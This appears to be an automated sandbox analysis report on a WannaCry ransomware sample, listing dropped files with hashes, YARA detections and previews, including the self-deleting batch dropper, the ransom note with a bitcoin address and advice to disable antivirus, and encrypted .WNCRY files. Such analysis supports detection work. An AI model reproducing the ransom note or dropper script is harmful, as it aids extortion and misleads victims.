                                      MD5:A5A3016ECE1338AFABBDED2CF1443E13
                                      SHA1:73287D830466C499E89735C8DA373E6CBF7152F0
                                      SHA-256:46BFE723504CE63688E5D910A6721BB4CB5306F45ED47DA3D5EB97BBE5601328
                                      SHA-512:0AED36236CFF7DB51B5857A67981925F134B3797BA12A31ED15D5E92CEE43D677AEECD5BB358C7C0314B18FFE80E838D9985533C21C21030B363F7FE261931A8
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:network-status-version 3 microdesc..vote-status consensus..consensus-method 33..valid-after 2024-07-25 22:00:00..fresh-until 2024-07-25 23:00:00..valid-until 2024-07-26 01:00:00..voting-delay 300 300..client-versions 0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10,0.4.8.11,0.4.8.12..server-versions 0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10,0.4.8.11,0.4.8.12..known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid..recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2..recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2..required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2..required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2

                                      C:\Users\user\AppData\Roaming\tor\unverified-microdesc-consensus.tmp

                                      Download File
                                      Process:C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe
                                      File Type:ASCII text, with very long lines (1006), with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):2758587
                                      Entropy (8bit):5.637542259710891
                                      Encrypted:false
                                      SSDEEP:12288:Tz8thXUIrDP++n1eHvekvFXIIbu2deIcjJJTz3uXN78vDXT+GzMnFor7EwvdI5ws:TzKwHvekS3bsNApP7EuI+Ek/S
                                      MD5:A5A3016ECE1338AFABBDED2CF1443E13
                                      SHA1:73287D830466C499E89735C8DA373E6CBF7152F0
                                      SHA-256:46BFE723504CE63688E5D910A6721BB4CB5306F45ED47DA3D5EB97BBE5601328
                                      SHA-512:0AED36236CFF7DB51B5857A67981925F134B3797BA12A31ED15D5E92CEE43D677AEECD5BB358C7C0314B18FFE80E838D9985533C21C21030B363F7FE261931A8
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:network-status-version 3 microdesc..vote-status consensus..consensus-method 33..valid-after 2024-07-25 22:00:00..fresh-until 2024-07-25 23:00:00..valid-until 2024-07-26 01:00:00..voting-delay 300 300..client-versions 0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10,0.4.8.11,0.4.8.12..server-versions 0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10,0.4.8.11,0.4.8.12..known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid..recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2..recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2..required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2..required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2

                                      C:\Users\user\Desktop\00000000.pky

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:b.out standalone executable V2.3
                                      Category:dropped
                                      Size (bytes):276
                                      Entropy (8bit):7.184879763448095
                                      Encrypted:false
                                      SSDEEP:3:Tlp32tlvlR2gpnlVFhjGosLBZgdIgcdZ2WsK1dQTyxTXA6C2OzfwSGrYgGtxAlKm:mtN2An/w4IgcdZ2WsuA4AlKh+OOLPU
                                      MD5:CDB264F981A92628B8D274AC1F74A4DF
                                      SHA1:50760F204E59A4FA6A05A43364C4C16CBE2530A3
                                      SHA-256:1080425248FAD681197E5915D67A290B3C9A9C45858E2EE06E803682B46F9AD5
                                      SHA-512:1B22E6E4AD917D65B0E4526DC265F961F3D3E206929177D561FCCC9CE3825A40B2124BC26B359BAF2CF9F03A8789F517F42410EE0172AFF46BB9805F95E78773
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:........RSA1.............}.urK.T.....^.M=..W._.P....q..8...;.W....y..p.C.cj,.1.O........0.7sH.3......w.8e,.m.jzJ.j...,.H<.]..~..tWw.M5Y..m.0..p.RP.../3qM:/wh..I.Ek...{"....2......xi....\*1....S+.../.8....~XIBhZ.k.L@...o[ ........... .....L..B..F.......f&..}.T.=.W.

                                      C:\Users\user\Desktop\00000000.res

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:modified
                                      Size (bytes):136
                                      Entropy (8bit):1.1622226045499107
                                      Encrypted:false
                                      SSDEEP:3:rAR1p51ttOgN1n:UR35TYgnn
                                      MD5:90BA24955AFF92F83A64F88475726A00
                                      SHA1:40E4AA46F9868C8D53AE5D821F27F1432987BA16
                                      SHA-256:FDF4D13F80C8FCB81AB77F7D056AF5DA49E7E299431B8B38FA3D20EF402B5196
                                      SHA-512:D3AC165B169161C5162AB0B02EBB1244168DA70E31CC43F38538AD2BE863FFE51A34360F2FCB6CB183EBAC5555F83AEF626990E4817348231E4FFF05BF15DD1E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:V..%...5..........................................................................................f..................f................

                                      C:\Users\user\Desktop\109861721946031.bat

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:DOS batch file, ASCII text, with CRLF, CR line terminators
                                      Category:dropped
                                      Size (bytes):320
                                      Entropy (8bit):5.087022538559631
                                      Encrypted:false
                                      SSDEEP:3:mKDDfewSiponv6xewImKFcsDONy+WlynJ96wYexi+XCrbPONy+WlynJfF06xiHYM:hqn4+B9TnRoJgpPnRoJ0F9a2T2ZLT2Ln
                                      MD5:09AAE1ABF5568DD1F940137DD8DAF634
                                      SHA1:857AFA678E47B47033502409FF9F1ED630B2DB72
                                      SHA-256:0520935E7778057E45B297E4B934EE3CE3DB1051B67BE1DD9015BACB5B36CD15
                                      SHA-512:6BFE594D04349B567375B027D8468D8059428E1BD03C80A0006522ECA998D34597ECD62A6462C2668A9C38C11A3B663C781DC385E6AF5F32A7E6152317E82453
                                      Malicious:false
                                      Yara Hits:
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\109861721946031.bat, Author: Florian Roth
                                      Reputation:unknown
                                      Preview:@echo off...echo SET ow = WScript.CreateObject("WScript.Shell")> m.vbs...echo SET om = ow.CreateShortcut("C:\Users\user\Desktop\@WanaDecryptor@.exe.lnk")>> m.vbs...echo om.TargetPath = "C:\Users\user\Desktop\@WanaDecryptor@.exe">> m.vbs...echo om.Save>> m.vbs...cscript.exe //nologo m.vbs...del m.vbs.....del /a %0..

                                      C:\Users\user\Desktop\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\Users\user\Desktop\@WanaDecryptor@.bmp

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:PC bitmap, Windows 3.x format, 800 x 600 x 24, image size 1440000, resolution 3779 x 3779 px/m, cbSize 1440054, bits offset 54
                                      Category:dropped
                                      Size (bytes):1440054
                                      Entropy (8bit):0.3363393123555661
                                      Encrypted:false
                                      SSDEEP:384:zYzuP4tiuOub2WuzvqOFgjexqO5XgYWTIWv/+:sbL+
                                      MD5:C17170262312F3BE7027BC2CA825BF0C
                                      SHA1:F19ECEDA82973239A1FDC5826BCE7691E5DCB4FB
                                      SHA-256:D5E0E8694DDC0548D8E6B87C83D50F4AB85C1DEBADB106D6A6A794C3E746F4FA
                                      SHA-512:C6160FD03AD659C8DD9CF2A83F9FDCD34F2DB4F8F27F33C5AFD52ACED49DFA9CE4909211C221A0479DBBB6E6C985385557C495FC04D3400FF21A0FBBAE42EE7C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:BM6.......6...(... ...X.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                      C:\Users\user\Desktop\@WanaDecryptor@.exe

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):245760
                                      Entropy (8bit):6.278920408390635
                                      Encrypted:false
                                      SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                      MD5:7BF2B57F2A205768755C07F238FB32CC
                                      SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                      SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                      SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                      C:\Users\user\Desktop\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Windows\SysWOW64\cscript.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\Users\user\Desktop\CURQNKVOIX.docx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.804283394730824
                                      Encrypted:false
                                      SSDEEP:24:f58hAfjYMkNTDferl5HWap9UxTLNnHLcWDhIygq0CDu:f58hAfVED1RnrcWDh5gqXy
                                      MD5:9F70146E968B88DA5F187B7FFADD5D96
                                      SHA1:2CD6B29D14EF5BD9A22F5A924C2198C46A0CFBCA
                                      SHA-256:C5F075EEF1128BE4707D43C5B674276C485709643260E20D91D10441850B8475
                                      SHA-512:EC9F65DB8C63E769FF8C781796E8E1252E957208192E62730F1E1A4B9C9E8E6765A5B7A6D9119C71C2A715C9BAD5A406D699F965272AD1D1F9AB8640CD20ED0A
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:.....ZpX........vo3..P.&.Xf.a..........y"'.u..K..C.2....d.|..c.z@.cd...\@7."...S.c....(*.Z!.nH......Nh./."M....o..c[..n....D.!.l.......i.x.v.,..+DQH....gU.,........gvS....}..`.b.C.../9........L.u.....?.}Tu~..=..,..*.$.`.a....I....~..lc.................sG....h.#.W..a*.n!UkHkR..B.q@|..dl..&.s|....9.f.6..Oh.%q..YY..y..s...r...2....O.....+.N:}.*."..y../j....70.u.63e}..D.>.I.=.pO.L...}.X........i.uq..E4oM....U.7.%X..........2..?....(....b....".C..;..c%.W..#.$.Nv....rU.}.."n.:.4.@.q......h.....X..h..........'.u...!.....V...s....g.X..R{.>.P.._....c.C..X..b..%`...9.;.l.... .~..8i%..8..&E..........E..n.....I.2....vBV.....t.k.}4P.....N..WJsAmqD\/2.a..oT\/D.m.}HieK.O..eV...f-.,..<.|.....r../..[l<..b.n..p..T.2D........p..;.X#U.....P*}X...Q.Ros>f.{D.TM..<.hH.b.....,.....j4.?.!..cnB...f..._]2..& ..yL.....a.......H..1.E..I[{#se7v.nq.'..3A..m%y... ..F.F..A.h.&........S....0X......k..)B.~*.{.8....O....B....3.m....W..).......X........([&...QU..E.

                                      C:\Users\user\Desktop\CURQNKVOIX.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.841519000594037
                                      Encrypted:false
                                      SSDEEP:24:bk/qphEoEv7/OTIT+8p/sDYl2l0PC0dc31R0PUUMBSM14LrzG:bk/qphKL+8pkDYYljZmUxVSbG
                                      MD5:CA46DEFBB02E694FEB9EA7F6E7D2612B
                                      SHA1:F888C8109CA4881A156BA8E8CFB6B16F47E9770D
                                      SHA-256:DD1BA543F77657E522A4A107273CBE6E9F30476E0D7A6DC4DA0B0F90864412A4
                                      SHA-512:287876A5D7155AB3B3DA18B13EF7FF0BC8AA1ED0A19A9C5F35E8908BAD7951C280E453E22E844B72CB7EBF78CA282F6D7D14403437A35E946D4DF8DBD239AC78
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....A.R.....`.......BlB..X..q.Q...........I..}Zq;.?..d..Kb........(_.s..`Y..........y.</-.......i....=.!F..z.Zbu....(...0.B.U.h.#.M<.2......d..UT.L.....*..m.<vj.&!.z..#tK.H.>$...y,..p].Y&C..%(....P..M..G./.u?<O.^@..........t...e...#O7p@.7.AG[Lf...3.............>z..y.;...{..qg....k+".w/.]B.!)..-A.n5o!}D.... ......@."..M...U*.e+.9....Lw..C..... \....Fy.x.h.t..AiC..S.g:..].........^..<.O.].).8.a.,{......`...5.Xd&V.:.....W.H.2..51.6)........5:-.WM. -T..._u...#.>......L.....a...Hm..I..L!(...8.x.>..aMB.r...+.$w.O..M....K..=.....ls .....rP....c.....1..u.).O.T0`.k......L...;..Y5"......)+...........-T...:..E+.Nr...^.p..*.Y..Le..M.(!.'w~...p%)..eC....,.^.Z..d...?.2....R..%..P......vB.'l_B[".`.=..6.F1..^1..h.a..c..k....jB.........-..(../k-5B...o...A..oZ. .9.-|`..t}...}...3.f..8Z%}...d^..!\..L#....o.q_...Dc....'.....>r)....m..g+.>8.*..*......D~...>-..G....>..>..u....<..._K<g..ZW....Y.\.*T..}.?..P....l...xA.:..D'=/.........|..q#T.H.bG....M..

                                      C:\Users\user\Desktop\CURQNKVOIX.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.841519000594037
                                      Encrypted:false
                                      SSDEEP:24:bk/qphEoEv7/OTIT+8p/sDYl2l0PC0dc31R0PUUMBSM14LrzG:bk/qphKL+8pkDYYljZmUxVSbG
                                      MD5:CA46DEFBB02E694FEB9EA7F6E7D2612B
                                      SHA1:F888C8109CA4881A156BA8E8CFB6B16F47E9770D
                                      SHA-256:DD1BA543F77657E522A4A107273CBE6E9F30476E0D7A6DC4DA0B0F90864412A4
                                      SHA-512:287876A5D7155AB3B3DA18B13EF7FF0BC8AA1ED0A19A9C5F35E8908BAD7951C280E453E22E844B72CB7EBF78CA282F6D7D14403437A35E946D4DF8DBD239AC78
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....A.R.....`.......BlB..X..q.Q...........I..}Zq;.?..d..Kb........(_.s..`Y..........y.</-.......i....=.!F..z.Zbu....(...0.B.U.h.#.M<.2......d..UT.L.....*..m.<vj.&!.z..#tK.H.>$...y,..p].Y&C..%(....P..M..G./.u?<O.^@..........t...e...#O7p@.7.AG[Lf...3.............>z..y.;...{..qg....k+".w/.]B.!)..-A.n5o!}D.... ......@."..M...U*.e+.9....Lw..C..... \....Fy.x.h.t..AiC..S.g:..].........^..<.O.].).8.a.,{......`...5.Xd&V.:.....W.H.2..51.6)........5:-.WM. -T..._u...#.>......L.....a...Hm..I..L!(...8.x.>..aMB.r...+.$w.O..M....K..=.....ls .....rP....c.....1..u.).O.T0`.k......L...;..Y5"......)+...........-T...:..E+.Nr...^.p..*.Y..Le..M.(!.'w~...p%)..eC....,.^.Z..d...?.2....R..%..P......vB.'l_B[".`.=..6.F1..^1..h.a..c..k....jB.........-..(../k-5B...o...A..oZ. .9.-|`..t}...}...3.f..8Z%}...d^..!\..L#....o.q_...Dc....'.....>r)....m..g+.>8.*..*......D~...>-..G....>..>..u....<..._K<g..ZW....Y.\.*T..}.?..P....l...xA.:..D'=/.........|..q#T.H.bG....M..

                                      C:\Users\user\Desktop\CURQNKVOIX\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\Users\user\Desktop\CURQNKVOIX\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\Users\user\Desktop\CURQNKVOIX\CURQNKVOIX.docx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.798272090143542
                                      Encrypted:false
                                      SSDEEP:24:YnhljFALQCq63XsQAq68+GSDwialrz4swmBGkL9r:YnhlJ0QqvAqr+vMialhRLl
                                      MD5:E07B366D9775555A2DD2FDEA749FA473
                                      SHA1:CD12D42ACC4EC8DF93AEA963722367403612D41A
                                      SHA-256:8EFB51AC3472AD5C9BED29775D596B82366839BB4FA3561EEFEAC14BC3CF7046
                                      SHA-512:AC547DF0D1DF5852E8C1284819F333143FDD29B884C6A300173720CDFCA25729C5A9D0BE3B36AEE2B380378DD0498B4D7D1AD7368D885E9C7C56D451E55CE54E
                                      Malicious:false
                                      Reputation:unknown
